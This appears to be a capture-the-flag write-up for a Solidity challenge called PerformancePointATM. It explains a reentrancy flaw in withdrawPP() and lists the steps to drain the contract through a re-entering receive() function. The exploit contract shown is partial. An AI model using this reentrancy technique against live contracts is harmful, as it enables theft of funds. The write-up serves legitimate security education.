PP Farming — sekai2026

Description

I found a new way to PP farm, surely nothing could go wrong!

English summary: the artifact contained a small Solidity contract, PerformancePointATM, deployed with 10 ether. The goal was to make isSolved() return true, which required draining the contract balance to zero.

Analysis

The important functions were short:

function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
    scores[msg.sender] = 0;
}

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

donatePP(address _to) credits scores[_to] with msg.value. The deploy script created the ATM with 10 ether, so the contract had a large balance before any player action.

The bug is a classic checks-effects-interactions violation. withdrawPP() performs an external call to msg.sender before setting scores[msg.sender] = 0. If msg.sender is a contract, its receive() function can call withdrawPP() again while the same nonzero score is still recorded. Repeating this withdraws the same score multiple times until the ATM is empty.

Solution

1. Deploy an attacker contract pointing at the challenge PerformancePointATM.
2. Call attack() with a nonzero ETH value, e.g. 1 ether.
3. Inside attack(), donate that value to the attacker contract itself with donatePP(address(this)).
4. Call withdrawPP() once.
5. In receive(), re-enter withdrawPP() while the ATM still has at least one withdrawal chunk left.
6. Verify that isSolved() returns true and the ATM balance is 0 wei.

Full exploit contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IPerformancePointATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract AttackPPFarming {
    IPerformancePointATM public immutable atm;
    uint256 public chunk;

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